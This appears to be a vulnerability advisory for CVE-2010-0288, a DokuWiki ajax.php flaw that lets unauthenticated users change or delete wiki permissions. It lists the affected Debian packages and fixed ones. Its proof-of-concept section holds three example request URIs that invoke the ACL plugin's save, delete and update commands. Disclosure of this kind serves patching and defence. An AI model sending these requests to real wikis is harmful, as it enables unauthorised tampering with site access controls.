DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
BID:37820
Info
DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
| Bugtraq ID: | 37820 |
| Class: | Access Validation Error |
| CVE: |
CVE-2010-0288 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 14 2010 12:00AM |
| Updated: | Apr 16 2015 06:03PM |
| Credit: | white_sheep |
| Vulnerable: |
Gentoo Linux DokuWiki DokuWiki 2009-12-25 Debian Linux 5.0 sparc Debian Linux 5.0 s/390 Debian Linux 5.0 powerpc Debian Linux 5.0 mipsel Debian Linux 5.0 mips Debian Linux 5.0 m68k Debian Linux 5.0 ia-64 Debian Linux 5.0 ia-32 Debian Linux 5.0 hppa Debian Linux 5.0 armel Debian Linux 5.0 arm Debian Linux 5.0 amd64 Debian Linux 5.0 alpha Debian Linux 5.0 |
| Not Vulnerable: |
DokuWiki DokuWiki 2009-12-25b |
Discussion
DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
DokuWiki is prone to multiple security-bypass vulnerabilities because it fails to adequately authenticate users before performing certain actions.
Unauthenticated attackers can leverage these issues to change or delete wiki permissions.
DokuWiki 2009-12-25 is vulnerable; prior versions may also be affected.
DokuWiki is prone to multiple security-bypass vulnerabilities because it fails to adequately authenticate users before performing certain actions.
Unauthenticated attackers can leverage these issues to change or delete wiki permissions.
DokuWiki 2009-12-25 is vulnerable; prior versions may also be affected.
Exploit / POC
DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
Solution / Fix
DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
Solution:
Updates are available. Please see the references for more information.
Debian Linux 5.0 hppa
Debian Linux 5.0 ia-64
Debian Linux 5.0 m68k
Debian Linux 5.0 arm
Debian Linux 5.0 armel
Debian Linux 5.0
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0 ia-32
Debian Linux 5.0 mips
Debian Linux 5.0 s/390
Debian Linux 5.0 mipsel
Debian Linux 5.0 powerpc
Debian Linux 5.0 sparc
Solution:
Updates are available. Please see the references for more information.
Debian Linux 5.0 hppa
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 ia-64
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 m68k
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 arm
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 armel
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 amd64
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 alpha
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 ia-32
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 mips
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 s/390
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 mipsel
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 powerpc
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
Debian Linux 5.0 sparc
-
Debian dokuwiki_0.0.20080505-4+lenny1_all.deb
http://security.debian.org/pool/updates/main/d/dokuwiki/dokuwiki_0.0.2 0080505-4+lenny1_all.deb
References
DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities
References:
References:
- DokuWiki Web Site (DokuWiki)